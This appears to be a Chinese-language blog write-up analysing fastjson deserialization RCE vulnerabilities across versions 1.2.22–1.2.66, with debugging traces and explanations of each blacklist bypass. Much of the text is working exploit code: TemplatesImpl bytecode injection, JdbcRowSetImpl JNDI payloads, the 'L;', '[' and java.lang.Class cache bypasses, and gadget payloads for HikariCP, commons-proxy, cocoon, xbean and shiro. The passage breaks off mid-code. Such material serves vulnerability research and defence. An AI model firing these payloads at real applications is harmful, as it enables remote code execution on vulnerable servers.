1. 1. 前言
  2. 2. 序列化分析
    1. 2.1. 为什么会调getter
    2. 2.2. 构造JSON字符串的地方
  3. 3. 反序列化分析
    1. 3.1. 1.根据JSON字符串封装deserializer
    2. 3.2. 2.调用deserializer#deserialize创建并初始化对象
    3. 3.3. parse和parseObject的区别
  4. 4. 1.2.22-1.2.24
    1. 4.1. TemplatsImpl链
      1. 4.1.1. exp
      2. 4.1.2. 缺点
      3. 4.1.3. 为什么加@type指定全类名
      4. 4.1.4. 为什么parse要加Feature参数
      5. 4.1.5. 为什么_bytecodes要base64编码
      6. 4.1.6. 为什么会触发getOutputProperties
    2. 4.2. JdbcRowSetImpl链
      1. 4.2.1. exp
      2. 4.2.2. 缺点
      3. 4.2.3. 利用链分析
      4. 4.2.4. 为什么是DataSourceName而不是dataSource
  5. 5. 1.2.25-1.2.41
    1. 5.1. 补丁分析
    2. 5.2. Exp
    3. 5.3. 限制
    4. 5.4. 调试分析
  6. 6. 1.2.25-1.2.42
    1. 6.1. 补丁分析
    2. 6.2. Exp
    3. 6.3. 限制
    4. 6.4. 调试分析
  7. 7. 1.2.25-1.2.43
    1. 7.1. 补丁分析
    2. 7.2. Exp
    3. 7.3. 限制
    4. 7.4. 调试分析
  8. 8. 1.2.25-1.2.45
    1. 8.1. 补丁分析
    2. 8.2. Exp
    3. 8.3. 限制
    4. 8.4. 调试分析
  9. 9. 1.2.25-1.2.47
    1. 9.1. Exp
    2. 9.2. 限制
    3. 9.3. 调试分析
  10. 10. 1.2.25-1.2.59
    1. 10.1. 漏洞分析
    2. 10.2. Exp
    3. 10.3. 限制
    4. 10.4. 调试分析
  11. 11. 1.2.25-1.2.61(复现失败)
    1. 11.1. 漏洞分析
    2. 11.2. Exp
    3. 11.3. 限制
    4. 11.4. 调试分析
  12. 12. 1.2.25-1.2.62
    1. 12.1. JndiConverter链
      1. 12.1.1. 补丁分析
      2. 12.1.2. Exp
      3. 12.1.3. 限制
      4. 12.1.4. 调试分析
    2. 12.2. CocoonSlide链
      1. 12.2.1. 补丁分析
      2. 12.2.2. Exp
      3. 12.2.3. 限制
      4. 12.2.4. 调试分析
  13. 13. 1.2.25-1.2.66
    1. 13.1. shiro链
      1. 13.1.1. 漏洞分析
      2. 13.1.2. Exp
      3. 13.1.3. 限制
      4. 13.1.4. 调试分析
    2. 13.2. anteros链
      1. 13.2.1. 漏洞分析
      2. 13.2.2. Exp
      3. 13.2.3. 限制
      4. 13.2.4. 调试分析
    3. 13.3. IbatisSqlmap链
      1. 13.3.1. 漏洞分析
      2. 13.3.2. Exp
      3. 13.3.3. 限制
      4. 13.3.4. 调试分析
  14. 14. 1.2.25-1.2.67
    1. 14.1. igniteJta链
      1. 14.1.1. 漏洞分析
      2. 14.1.2. Exp
      3. 14.1.3. 限制
      4. 14.1.4. 调试分析
      5. 14.1.5. shiro链
      6. 14.1.6. 漏洞分析
      7. 14.1.7. Exp
      8. 14.1.8. 限制
      9. 14.1.9. 调试分析
  15. 15. 1.2.25-1.2.68
    1. 15.1. 漏洞分析
    2. 15.2. Exp
    3. 15.3. 限制
    4. 15.4. 调试分析
  16. 16. 1.2.25-1.2.83
    1. 16.1. 漏洞分析
    2. 16.2. Exp
    3. 16.3. 限制
    4. 16.4. 调试分析
  17. 17. 小结
  18. 18. 参考链接

fastjson反序列化总结 TODO

前言

fastjson是阿里巴巴旗下的一个Java库,用于Java对象和JSON字符串之间的转换。
这个库从2017-2022年,陆陆续续爆出了20多个反序列化RCE。
官方采用黑名单的方式修复漏洞,这导致出现一系列的bypass= =
image.png

序列化分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package Pojo;

import java.util.Properties;

public class User {
private String name;
private int age;
private String hobby;
private Properties properties;


public User() {
}

public String getName() {
System.out.println("调用了getName");
return name;
}

public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getHobby() {
return hobby;
}

public void setHobby(String hobby) {
this.hobby = hobby;
}

public Properties getProperties() {
System.out.println("调用了getProperties");
return properties;
}

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", hobby='" + hobby + '\'' +
", properties=" + properties +
'}';
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import Pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
// fastjson 1.2.24
public class Test0 {
public static void main(String[] args) throws Exception{
// 全局配置,不进ASM动态类
SerializeConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setAsmEnable(false);

User user = new User("Jasper", 22, "fuck some people");
// String s1 = JSON.toJSONString(user);
// System.out.println(s1);
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println("序列化后的字符串:"+s2);
System.out.println("-----------------------------------------------------");
}
}

1
2
调用了getName
序列化后的字符串:{"@type":"Pojo.User","age":22,"hobby":"fuck some people","name":"Jasper"}

为什么会调getter

宏观上理解,为了把对象转JSON,需获取对象的属性值。要么调getter取值,要么反射取值,这里用的前者。

1
2
3
4
5
6
7
get:450, FieldInfo
getPropertyValueDirect:110, FieldSerializer
write:196, JavaBeanSerializer
write:275, JSONSerializer
toJSONString:559, JSON
toJSONString:548, JSON
main:16, Test0

image.png

构造JSON字符串的地方

核心在这个try-catch里,上面的调用getter取值也在这里面。

1
2
3
4
5
write:196, JavaBeanSerializer
write:275, JSONSerializer
toJSONString:559, JSON
toJSONString:548, JSON
main:16, Test0

image.png

反序列化分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import Pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test0 {
public static void main(String[] args) throws Exception{
// 全局配置,不进ASM动态类
SerializeConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setAsmEnable(false);

String s2 = "{\"@type\":\"Pojo.User\",\"age\":22,\"hobby\":\"fuck some people\",\"name\":\"Jasper\",\"properties\":{}}";
System.out.println("---------------parse-------------------------");
Object parse = JSON.parse(s2);
System.out.println(parse);
System.out.println("反序列化对象所属类:"+parse.getClass().getName());
System.out.println("---------------parseObject-----------------------------");
Object parse1 = JSON.parseObject(s2);
System.out.println(parse1);
System.out.println("反序列化对象所属类:"+parse1.getClass().getName());
System.out.println("---------------parseObject---------------------------");
Object parse2 = JSON.parseObject(s2,Object.class);
System.out.println(parse2);
System.out.println("反序列化对象所属类:"+parse2.getClass().getName());
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-----------------------------------------------------
调用了setName
调用了getProperties
User{name='Jasper', age=22, hobby='fuck some people', properties=null}
反序列化对象所属类:Pojo.User
-----------------------------------------------------
调用了setName
调用了getProperties
调用了getName
调用了getProperties
{"name":"Jasper","age":22,"hobby":"fuck some people"}
反序列化对象所属类:com.alibaba.fastjson.JSONObject
-----------------------------------------------------
调用了setName
调用了getProperties
User{name='Jasper', age=22, hobby='fuck some people', properties=null}
反序列化对象所属类:Pojo.User

Process finished with exit code 0

1.根据JSON字符串封装deserializer

宏观上看,此步骤依据一系列规则,选择出可以参与反序列化的field,存进fieldList,放入deserializer。

1
2
3
4
5
6
7
8
9
10
11
build:132, JavaBeanInfo
<init>:39, JavaBeanDeserializer
createJavaBeanDeserializer:586, ParserConfig
getDeserializer:461, ParserConfig
getDeserializer:312, ParserConfig
parseObject:367, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:16, Test0

image.png
当函数执行到return,获取到所有符合条件的field,里面有它对应的method,这是后面会调用到的。
image.png
这里面实际上就有很多分析文章里提到的,getter和setter需要满足的条件。
不满足下面这些if判断的method不会add进fieldList,也就不会在下一小节被调用。
setter需满足的条件
image.png
getter需满足的条件
image.png

2.调用deserializer#deserialize创建并初始化对象

核心逻辑就是,创建一个object变量,然后遍历前面获取的fieldList,对于每个field,调用其getter或者setter或者直接调用native set方法去给field赋值,然后返回object。

1
2
3
4
5
6
7
8
9
deserialze:271, JavaBeanDeserializer
deserialze:188, JavaBeanDeserializer
deserialze:184, JavaBeanDeserializer
parseObject:368, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:16, Test0

下面的图,给出了不同的field是如何设置属性值的。
image.png

parse和parseObject的区别

单参parseObject是parse的封装,在封装的末尾,多了一个JSON.toJSON(),转JSONObject类型的操作。
image.png
这个操作会调用obj对象的所有getter方法。
image.png
而双参parseObecjt则不会调用JSON.toJSON(),从调用getter/setter的角度相当于parse函数。
image.png
总结:单参parseObject先调用一遍parse能调用的setter和getter,然后再调用一遍object所有的getter;
双参parseObject在调getter/setter方面相当于parse。

1.2.22-1.2.24

TemplatsImpl链

本质上,就是利用fastjson的任意getter调用去调getOutputProperties,触发CC3后半的链条。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
// fastjson 1.2.22-1.2.24
public class Test1TemplatesImpl {
public static void main(String[] args) throws Exception{
String codes = ClassFile2Base64("D:\\Calc.class");
String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String exp = String.format("{\"@type\":\"%s\",\"_bytecodes\": [\"%s\"],'_name':'jasper','_tfactory':{},'_outputProperties':{}}", className,codes);
JSON.parse(exp, Feature.SupportNonPublicField);
}

public static String ClassFile2Base64(String filePath){
byte[] buffer = null;
try {
FileInputStream fis = new FileInputStream(filePath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Base64.Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
return value;
}
}

缺点

  • 要开Feature,挺鸡肋的

为什么加@type指定全类名

不加的话,parse函数不会触发getter和setter

为什么parse要加Feature参数

Feature.SupportNonPublicField,字面意思要允许给非public字段赋值,CC3这些字段都public的。
由此可见这条链其实很鸡肋。

为什么_bytecodes要base64编码

Fastjson解析到byte[]数组的时候,会对byte[]数组进行base64decode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bytesValue:112, JSONScanner
deserialze:136, ObjectArrayCodec
parseArray:723, DefaultJSONParser
deserialze:177, ObjectArrayCodec
parseField:71, DefaultFieldDeserializer
parseField:773, JavaBeanDeserializer
deserialze:600, JavaBeanDeserializer
deserialze:188, JavaBeanDeserializer
deserialze:184, JavaBeanDeserializer
parseObject:368, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:193, JSON
main:13, Test1TemplatesImpl

为什么会触发getOutputProperties

前面我们知道parse函数触发getter比setter苛刻,但是getOutputProperties正好满足要求。

  • TemplatesImpl里只有对应的getter没有setter,setter不会抢getter位置
  • 函数名符合规范
  • 非static
  • 返回值是Properties,是Map接口的实现类
  • 无参

JdbcRowSetImpl链

本质是触发JNDI注入。

exp

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class Test1JdbcRowSetImpl {
public static void main(String[] args) throws Exception{
String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/remoteObj\" ,\"AutoCommit\":false}";
JSON.parse(exp);
}
}

缺点

  • 因为用的JNDI注入,受JDK版本限制
  • 要能出网,不然无法加载远程类

利用链分析

JdbcRowSetImpl#connect有一个标准的JNDI注入
image.png
存在对应setter可以控制注入点
image.png
find usage看哪调了connect,在JdbcRowSetImpl#setAutoCommit调用了,以这个做为sink点即可。
image.png

为什么是DataSourceName而不是dataSource

注意到exp里写的并不是属性名dataSource,而是对应setter去掉set后的字符串DataSourceName。
这涉及到fastjson反序列化的属性赋值流程:

  1. 通过setter/getter截断前三字符,确定为propertyName
  2. 扫描JSON String,通过propertyName匹配到propertyValue(这是我们控制属性值的地方)
  3. 调用对应setter,setter(propertyValue)

显然,在第二步扫描JSON String的时候,用的propertyName是函数截断后的字符,而不一定是真的属性名。
以上面为例,第二步是按照dataSourceName去JSON String里找对应值,而不是按dataSource去找。

1.2.25-1.2.41

引入autoTypeSupport,默认为False,开启黑白名单校验与Bypass之路。

补丁分析

修改fastjson版本到1.2.25,再次运行上面的exp,程序抛出异常。

注意到异常抛出点:com.alibaba.fastjson.parser.ParserConfig.checkAutoType,下断点调试

1
2
3
4
5
6
7
checkAutoType:805, ParserConfig
parseObject:322, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:6, Test1JdbcRowSetImpl

默认情况下,会进入这个IF,对类名先黑名单校验,再白名单校验。

黑名单里有前两条链子指定的类,所以直接抛异常。

开启autoTypeSupport的方法

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

acceptList添加方法

  • JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  • 代码中设置:ParserConfig.getGlobalInstance().addAccept(“com.xx.a”);
  • 配置文件配置:在1.2.25/26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

Exp

把@type对应的值改成:”L类名;”,如下面的exp所示

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
// fastjson 1.2.25-1.2.41
public class Test2 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
JSON.parse(exp);
}
}

限制

需要开启autoTypeSupport,有点鸡肋。

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

调试分析

按照exp的绕过方法,肯定是能过denyList的,问题是为什么那样写类名也能加载到,需要分析。

1
2
3
4
5
6
7
8
loadClass:1074, TypeUtils
checkAutoType:861, ParserConfig
parseObject:322, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:8, Test2

从下面可以看到,如果类名以”L”开头、以”;”结尾,就会trim掉首尾的字符,然后递归调用loadClass。
所以这种绕过方法是能加载到类的,也就能正常执行exp了。
image.png

1.2.25-1.2.42

补丁分析

fastjson版本换到1.2.42,再次运行上面的exp,发现抛出异常了,检测到了上面那种类名写法。
image.png
被检测的到的原因,是开发人员在checkAutoType里,检测到前”L”后”;”的类名,就提前trim一次。
另外,为了提高挖洞门槛,把denyList改成hash值了,不过github已经有项目跑出来了大部分黑名单类名。
image.png
image.png

Exp

把@type对应的值改成:”LL类名;;”,即经典双写绕过,如下面的exp所示

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

// fastjson 1.2.25-1.2.42
public class Test3 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
JSON.parse(exp);
}
}

限制

需要开启autoTypeSupport,有点鸡肋。

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

调试分析

这里问题在于它提前trim了一下我们的类名,但是实际上在后面的TypeUtils#loadClass里也会trim我们的类名,而且是递归trim,很容易想到双写绕过黑名单。
首先,在ParserConfig#checkAutoType里trim一下我们的类名,由于这里双写 ,可以过黑名单。

1
2
3
4
5
6
7
8
checkAutoType:906, ParserConfig
parseObject:311, DefaultJSONParser
parse:1338, DefaultJSONParser
parse:1304, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:9, Test3

image.png
然后,我们进到TypeUtils#loadClass里,这里会递归trim我们的类名,最后加载到我们的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
loadClass:1131, TypeUtils [3]
loadClass:1127, TypeUtils
loadClass:1144, TypeUtils [2]
loadClass:1127, TypeUtils
loadClass:1144, TypeUtils [1]
checkAutoType:975, ParserConfig
parseObject:311, DefaultJSONParser
parse:1338, DefaultJSONParser
parse:1304, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:9, Test3

image.png

1.2.25-1.2.43

补丁分析

运行上个exp,报错,双写也被识别到了。
image.png
ParserConfig#checkAutoType下断点调试,看看怎么个事。
image.png
发现多加了一层IF,判断类名前两个字符是不是”L”,是的话直接抛异常,这样双写肯定就失效了。

Exp

之前加”L;”的方法无法使用,但是还有加”[“的方法,这是看TypeUtils#loadClass里处理类名的逻辑,自然想到的绕过方法,具体payload为什么是这样,看调试分析部分。

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

// fastjson 1.2.25-1.2.43
public class Test4 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
JSON.parse(exp);
}
}

限制

需要开启autoTypeSupport,有点鸡肋。

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

调试分析

首先,我们看TypeUtils#loadClass,这里显示如果第一个字符是”[“,就trim掉,然后再执行loadClass,这是我们所希望的。
image.png
于是我们构造payload如下:

1
String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";

调试分析,发现会抛出异常

1
2
3
4
5
6
7
8
9
parseArray:675, DefaultJSONParser
deserialze:183, ObjectArrayCodec
parseObject:373, DefaultJSONParser
parse:1338, DefaultJSONParser
parse:1304, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:10, Test4

提示代码期待在指定位置”,”前面,加上”[“符号。
image.png
于是我们改进payload如下,加上”[“

1
String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";

再次抛出异常,提示我们在指定位置加上”{“符合。
image.png
于是我们再改进Payload如下:

1
String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";

成功执行命令。
image.png

1.2.25-1.2.45

补丁分析

运行上面的exp,会抛出异常,”[“的绕过方式也被检测到了
image.png
开发者在ParserConfig#checkAutoType又加了校验,如果类名开头是”[“直接抛出异常
image.png

Exp

利用mybatis的依赖里的类,去打Mybatis里的JNDI注入,因为JndiDataSourceFactory不在黑名单里。

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

// fastjson 1.2.25-1.2.45
public class Test5 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/remoteObj\"}}";
JSON.parse(exp);
}
}

限制

需要目标服务端存在mybatis的jar包,版本要求:3.x.x<Version<3.5.0,也存在一些限制。

调试分析

JndiDataSourceFactory本来就不在黑名单里,自然就bypass了,这里只看一眼JNDI的地方。

1
2
3
4
5
6
7
8
9
10
setProperties:44, JndiDataSourceFactory
deserialze:-1, FastjsonASMDeserializer_1_JndiDataSourceFactory
deserialze:267, JavaBeanDeserializer
parseObject:384, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:9, Test5

JndiDataSourceFactory#setProperties存在JNDI注入,和JdbcRowSetImpl链子基本一样,不再分析。
image.png

1.2.25-1.2.47

和之前的绕过思路不同,本质是利用java.lang.Class内置类将恶意类加载进缓存,然后再使用fastjson反序列化去加载这个恶意类时,就会走缓存而不会走黑名单校验,进而成功bypass。

Exp

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;
// fastjson 1.2.25-1.2.47
public class Test6 {
public static void main(String[] args) throws Exception{
String exp = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}}";
JSON.parse(exp);

}
}

限制

不需要设置AutoTypeSupport,大大提高了可利用性!
下面是对Exp的影响,简单知道结论即可,无非是不同版本的checkAutoType里的逻辑有细微差别。

  • 不开启AutoTypeSupport:1.2.25-1.2.47通杀
  • 开启AutoTypeSupport:1.2.25-1.2.32报错,1.2.33-1.2.47打通

调试分析

这里默认不开启AutoTypeSupport,版本采用fastjson 1.2.47。
首先,在DefaultJSONParser#parseObject里解析JSON字符串,解析到第一个key是”a”,当检查到下一个字符是”{“的时候,程序认为a的值是一个对象,于是递归调用parseObject函数去解析这个对象

1
2
3
4
5
6
7
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
然后,继续解析又发现对象的key为”@type”,先调用checkAutoType()对传入的类名做检查

1
2
3
4
5
6
7
8
parseObject:316, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
显然可过检测,java.lang.Class是可以在HashMap里直接找到的,通过findClass直接加载到,不走黑名单。

1
2
3
4
5
6
7
8
9
checkAutoType:901, ParserConfig
parseObject:316, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
于是加载到java.lang.Class对象并返回,下面就以类型为java.lang.Class为前提,对JSON字符串反序列化

1
2
3
4
5
6
7
8
parseObject:384, DefaultJSONParser [2]
parseObject:544, DefaultJSONParser [1]
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
java.lang.Class默认调用MiscCodec#deserialze,它要求传入的JSON字符串的key=”val”,不然抛异常;

1
2
3
4
5
6
7
8
9
deserialze:227, MiscCodec
parseObject:384, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
这也是payload为什么设置key为”val”的原因,如果key=”val”的话,获取key的value,存入objVal/strVal
image.png
再调用TypeUtils#loadClass,加载key的value对应的类并返回,对应exp就是加载JdbcRowSetImpl对象并返回
image.png
到这里,实际上我们就已经达成了加载JdbcRowSetImpl类的目的,此时会在缓存mappings里存一份映射关系。

1
2
3
4
5
6
7
8
9
10
11
loadClass:1242, TypeUtils
loadClass:1206, TypeUtils
deserialze:335, MiscCodec
parseObject:384, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
接下来就是类似的,解析”b”的值是个对象,然后又发现里边的key=”@type”,走进checkAutoType里,但是这次它可以在mappings里找到JdbcRowSetImpl这个类,因为前面有缓存,直接在这返回,不走下面的黑名单。

1
2
3
4
5
6
7
8
9
10
getClassFromMapping:1202, TypeUtils
checkAutoType:949, ParserConfig
parseObject:316, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png
至此,如图已绕过checkAutoType,加载到JdbcRowSetImpl这个类,后续利用JdbcRowSetImpl不再分析。

1
2
3
4
5
6
7
8
parseObject:319, DefaultJSONParser [2]
parseObject:544, DefaultJSONParser [1]
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6

image.png

1.2.25-1.2.59

漏洞分析

绕过禁用类黑名单。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;

/*
需开启AutoTypeSupport
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>3.3.1</version>
</dependency>
*/
public class Poc_1_2_59 {
public static void main(String[] args) throws Exception{
// some configrations
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);


String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://localhost:1234/Calc\"}";
// String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://localhost:1234/Calc\"}";
JSON.parse(payload);
}
}

限制

  • 需开启AutoTypeSupport
  • 需要HikariCP组件
  • 利用JNDI,受到JDK版本的限制

调试分析

暂无

1.2.25-1.2.61(复现失败)

漏洞分析

绕过黑名单

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
需要开启AutoTypeSupport
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-proxy</artifactId>
<version>1.0</version>
</dependency>
*/
public class Poc_1_2_61 {
public static void main(String[] args) {
ParserConfig.global.setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"ldap://localhost:1234/Calc\",\"Object\":\"a\"}";
JSON.parse(payload);
}
}

限制

  • 要开autoTypeSupport
  • 要commons-proxy组件
  • 利用了JNDI,有JDK版本限制

调试分析

暂无

1.2.25-1.2.62

JndiConverter链

补丁分析

绕过禁用类黑名单。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
复现失败
需要开启autoTypeSupport
需要在JavaEE环境运行或含有javaee依赖
<dependency>
<groupId>slide</groupId>
<artifactId>slide-kernel</artifactId>
<version>2.1</version>
</dependency>
<dependency>
<groupId>cocoon</groupId>
<artifactId>cocoon-slide</artifactId>
<version>2.1.11</version>
</dependency>
<dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>8.0.1</version>
</dependency>
*/
public class Poc_1_2_62_a {
public static void main(String[] args) throws Exception{
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.cocoon.components.slide.impl.JMSContentInterceptor\", \"parameters\": {\"@type\":\"java.util.Hashtable\",\"java.naming.factory.initial\":\"com.sun.jndi.rmi.registry.RegistryContextFactory\",\"topic-factory\":\"ldap://127.0.0.1:1234/Calc\"}, \"namespace\":\"\"}";
JSON.parse(payload);
}
}

限制

  • 需要开启autoTypeSupport
  • 需要slide、cocoon和javaee组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

CocoonSlide链

补丁分析

绕过禁用类黑名单。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
需要开启autoTypeSupport
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.15</version>
</dependency>
*/
public class Poc_1_2_62_b {
public static void main(String[] args) throws Exception{

// some configrations
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"ldap://localhost:1234/Calc\"}";
JSON.parse(payload);
}
}

限制

  • 需要开启autoTypeSupport
  • 需要xbean-reflect组件
  • 利用JNDI,受JDK版本限制

调试分析

暂无

1.2.25-1.2.66

shiro链

漏洞分析

绕过禁用类黑名单。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
需要开启autoTypeSupport
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
*/
public class Poc_1_2_66_a {
public static void main(String[] args) throws ExportException {
// turn on autoTypeSupport
